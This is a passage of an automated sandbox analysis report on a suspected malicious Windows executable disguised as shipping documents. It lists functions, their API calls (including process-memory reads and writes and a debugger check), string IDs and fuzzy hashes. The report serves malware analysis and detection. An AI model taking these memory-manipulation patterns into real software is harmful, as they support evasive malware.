                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: @U=u
                                                • API String ID: 3850602802-2594219639
                                                • Opcode ID: 37a6ccaed2bc447976f8ba8cef5af8cb6a4486143fa1589c486f95755a9f8780
                                                • Instruction ID: 8511c3938ff6bcaac8d4638734b648b78f4e2350aa3b1bc1076b5851e00b3c81
                                                • Opcode Fuzzy Hash: 37a6ccaed2bc447976f8ba8cef5af8cb6a4486143fa1589c486f95755a9f8780
                                                • Instruction Fuzzy Hash: D821E475A01219EFCB15CFA8E940CEA7BB5FB4C350B004168FD06A7360DB35AD61DBA0
                                                Function 00A265B6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00000401,?,00000000), ref: 00A2662C
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: @U=u$button
                                                • API String ID: 3850602802-1762282863
                                                • Opcode ID: 0069e84a7229a865b186d46470bb2ef97d56bc4f6e911fe795264ecee78d5381
                                                • Instruction ID: ecd79f66d02f52de68d92651fc65418e009c7097a2b14e922fffd0cb7fed66c7
                                                • Opcode Fuzzy Hash: 0069e84a7229a865b186d46470bb2ef97d56bc4f6e911fe795264ecee78d5381
                                                • Instruction Fuzzy Hash: 79114432141205ABDF118F68DC11FEA377AFF08314F000628FE51A7190C372EC62AB60
                                                Function 00A2788C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,0000133E,00000000,?), ref: 00A278D8
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: @U=u
                                                • API String ID: 3850602802-2594219639
                                                • Opcode ID: 45847e28c218accc4a3febf077cbf1b7bbfdcadafb647afef3175922417fc987
                                                • Instruction ID: a84706a7569695cffc9739e497faf882a985b77b3791e476c1f872fc17548bdc
                                                • Opcode Fuzzy Hash: 45847e28c218accc4a3febf077cbf1b7bbfdcadafb647afef3175922417fc987
                                                • Instruction Fuzzy Hash: D211AF30504754AFD720CF789891AEBB7E9FF05310F10852DE8AA47291DB716A859B60
                                                Function 009F94A7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00A014BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,009F9296,?,?,00000034,00000800,?,00000034), ref: 00A014E6
                                                • SendMessageW.USER32(?,0000102B,?,00000000), ref: 009F9509
                                                • SendMessageW.USER32(?,0000102B,?,00000000), ref: 009F952E
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$MemoryProcessWrite
                                                • String ID: @U=u
                                                • API String ID: 1195347164-2594219639
                                                • Opcode ID: a3f326efca542267877a3a167ce1f5209557c771107bb9b6f52f4f82ec5a4ec8
                                                • Instruction ID: 4883d7cfbfe46c9562138110cf3ed2b1437ec5b127a9ec99a68184be849a0d0d
                                                • Opcode Fuzzy Hash: a3f326efca542267877a3a167ce1f5209557c771107bb9b6f52f4f82ec5a4ec8
                                                • Instruction Fuzzy Hash: 3201DB3290011CABDB21AF68EC86FEABB7CDB14320F10417AF915A71D1DB756D55CB60
                                                Function 00A08D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __fread_nolock_memmove
                                                • String ID: EA06
                                                • API String ID: 1988441806-3962188686
                                                • Opcode ID: 63b4e26999a1970916545cdcf9adc9117c004b18ecb621b0f012b11bc378ac88
                                                • Instruction ID: 4325786f78cab88c580fb90993ca64a7d35a35720650768058944c529774475b
                                                • Opcode Fuzzy Hash: 63b4e26999a1970916545cdcf9adc9117c004b18ecb621b0f012b11bc378ac88
                                                • Instruction Fuzzy Hash: F601F971C042187EDB18CBA8C816FEE7BF8DB11301F00459EF592D21C1E879E6088760
                                                Function 009F95D5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00000406,00000000,00000000), ref: 009F95FB
                                                • SendMessageW.USER32(?,0000040D,?,00000000), ref: 009F962E
                                                  • Part of subcall function 00A01487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,009F92C5,?,?,00000800,?,00001073,00000000,?,?), ref: 00A014B1
                                                  • Part of subcall function 009A7BCC: _memmove.LIBCMT ref: 009A7C06
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$MemoryProcessRead_memmove
                                                • String ID: @U=u
                                                • API String ID: 339422723-2594219639
                                                • Opcode ID: 83df71a9e2eb015603697859ba95a4c8f81325e85f27a2fae9894d049f9d5a02
                                                • Instruction ID: 9161bcfb3c2aedd7ca7b92eb75ad99b2f6aa00219820e76a28c2c7afc4af89ce
                                                • Opcode Fuzzy Hash: 83df71a9e2eb015603697859ba95a4c8f81325e85f27a2fae9894d049f9d5a02
                                                • Instruction Fuzzy Hash: F4012D7190111CAFDB60EF94DC81EE977BCFB18350F80C0AAF64996151DE315E89CB90
                                                Function 00A2C57D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A2612: GetWindowLongW.USER32(?,000000EB), ref: 009A2623
                                                • DefDlgProcW.USER32(?,0000002B,?,?,?,?,?,?,?,009DB93A,?,?,?), ref: 00A2C5F1
                                                  • Part of subcall function 009A25DB: GetWindowLongW.USER32(?,000000EB), ref: 009A25EC
                                                • SendMessageW.USER32(?,00000401,00000000,00000000), ref: 00A2C5D7
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: LongWindow$MessageProcSend
                                                • String ID: @U=u
                                                • API String ID: 982171247-2594219639
                                                • Opcode ID: fa60bd952aa70325af4bb8ed4beb0b35d30cc5ccc4df5c4218f900527c26d8c8
                                                • Instruction ID: 24be0ef0860ac859666f7cd0b8fd8a1442fe44d23cc8fe09a74c2578cd76b7fb
                                                • Opcode Fuzzy Hash: fa60bd952aa70325af4bb8ed4beb0b35d30cc5ccc4df5c4218f900527c26d8c8
                                                • Instruction Fuzzy Hash: 89019E31240224ABCB219F5CEC44F6E3BB6FB86360F140538F9411B2A0CB72A852EB90
                                                Function 009F953C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 009F954C
                                                • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 009F9564
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: @U=u
                                                • API String ID: 3850602802-2594219639
                                                • Opcode ID: 9416b0fe7708a51499ac899e5aa5845fe9804d343e74f9f1e8ae24cb81d75956
                                                • Instruction ID: a8cd7d8902c3c49a1d404e130ebdd37a5e531c9180c1beb8bd9c7ca656cbc419
                                                • Opcode Fuzzy Hash: 9416b0fe7708a51499ac899e5aa5845fe9804d343e74f9f1e8ae24cb81d75956
                                                • Instruction Fuzzy Hash: 8AE02B3574236576F23119658C8AFF72E19DB88B61F100034BF01990D1CAD20D4383A1
                                                Function 00A04F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ClassName_wcscmp
                                                • String ID: #32770
                                                • API String ID: 2292705959-463685578
                                                • Opcode ID: b0ff0f3498d3e8bff6dae1bfd8fa156b9a7908b8e2a1be5904ed47e713f16b26
                                                • Instruction ID: 96e54d47646c0ac62600c803fe2f18ef01145934fac0c4eb59848f4934aa3a2d
                                                • Opcode Fuzzy Hash: b0ff0f3498d3e8bff6dae1bfd8fa156b9a7908b8e2a1be5904ed47e713f16b26
                                                • Instruction Fuzzy Hash: 21E09B325042292AD720D799AC45FA7F7BCEB45B61F00006AFD04D6051D5609A4687E1
                                                Function 009DB2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009DB314: _memset.LIBCMT ref: 009DB321
                                                  • Part of subcall function 009C0940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,009DB2F0,?,?,?,009A100A), ref: 009C0945
                                                • IsDebuggerPresent.KERNEL32(?,?,?,009A100A), ref: 009DB2F4
                                                • OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,009A100A), ref: 009DB303
                                                Strings
                                                • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 009DB2FE
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
                                                • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                                • API String ID: 3158253471-631824599
                                                • Opcode ID: 206de968cf6e572d7576f9291e8b9655a8079bba5b7a13a008c5c0a33e839127
                                                • Instruction ID: 397d83205b3df153ac4ba8b589cd67907aeccc64af36d3ea0127aefd9b7e9dd7
                                                • Opcode Fuzzy Hash: 206de968cf6e572d7576f9291e8b9655a8079bba5b7a13a008c5c0a33e839127
                                                • Instruction Fuzzy Hash: 1DE06574600710CFD730DFA8E904796BAE8AF80744F018A3EE896C7340EBB4E406CBA1
                                                Function 009E1935 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetSystemDirectoryW.KERNEL32(?), ref: 009E1775
                                                  • Part of subcall function 00A1BFF0: LoadLibraryA.KERNEL32(kernel32.dll,?,009E195E,?), ref: 00A1BFFE
                                                  • Part of subcall function 00A1BFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00A1C010
                                                • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 009E196D
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Library$AddressDirectoryFreeLoadProcSystem
                                                • String ID: WIN_XPe
                                                • API String ID: 582185067-3257408948
                                                • Opcode ID: bdae22c0fc3adaf51228793ba723d05153826ef65c7aa89fd90eec84278ad58c
                                                • Instruction ID: 58a04fee165e9f4c74f35b2d0db366f3eb593408576e30b80f155608a67cb99b
                                                • Opcode Fuzzy Hash: bdae22c0fc3adaf51228793ba723d05153826ef65c7aa89fd90eec84278ad58c
                                                • Instruction Fuzzy Hash: D5F0E571810149DFDB16DB95CA84AEC7BF8BB08701F5404A5E101A6150D7754F86DF60
                                                Function 00A25998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00A259AE
                                                • PostMessageW.USER32(00000000), ref: 00A259B5
                                                  • Part of subcall function 00A05244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00A052BC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FindMessagePostSleepWindow
                                                • String ID: Shell_TrayWnd
                                                • API String ID: 529655941-2988720461
                                                • Opcode ID: 4b6958c38c3162dd64c68fe6a98b7a5e37a95463cc9da87ce1429432250507c5
                                                • Instruction ID: f27e95b6bbe1de53444f195ef1a207f8d89f34c9b8ad494c8a31006dc4445f77
                                                • Opcode Fuzzy Hash: 4b6958c38c3162dd64c68fe6a98b7a5e37a95463cc9da87ce1429432250507c5
                                                • Instruction Fuzzy Hash: 5AD0C9317803117AE674BBB4AD0BFE76624BF04B51F000835B646AA1D0D9F4A802CA54
                                                Function 00A25964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00A2596E
                                                • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00A25981
                                                  • Part of subcall function 00A05244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00A052BC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FindMessagePostSleepWindow
                                                • String ID: Shell_TrayWnd
                                                • API String ID: 529655941-2988720461
                                                • Opcode ID: dcf86cbf636e04e8a4ad059c523a003b18c6f5dc7e0aa716ce20d016035f6b4f
                                                • Instruction ID: beac443939f61423f86af2464fa3df4c218879d6bfb6ab01716b27f4e07935df
                                                • Opcode Fuzzy Hash: dcf86cbf636e04e8a4ad059c523a003b18c6f5dc7e0aa716ce20d016035f6b4f
                                                • Instruction Fuzzy Hash: 8AD0C931784311BAE674BBB4AD0BFE76A24BF04B51F000835B64AAA1D0D9F49802CA54
                                                Function 009F93DD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 009F93E9
                                                • SendMessageW.USER32(00000000,00001200,00000000,00000000), ref: 009F93F7
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: @U=u
                                                • API String ID: 3850602802-2594219639
                                                • Opcode ID: 380546a48674907266d367c4368fefd62668a5336ebc4009b21497c477f666b4
                                                • Instruction ID: 3a8e7e0c6d14175072afad8122cf7b6a79174458a482df76e6f83a7debc29cb4
                                                • Opcode Fuzzy Hash: 380546a48674907266d367c4368fefd62668a5336ebc4009b21497c477f666b4
                                                • Instruction Fuzzy Hash: D7C002311411C0BAEA315BBBAC0DD973E3DE7CAF52711017CB211950B58665009AD624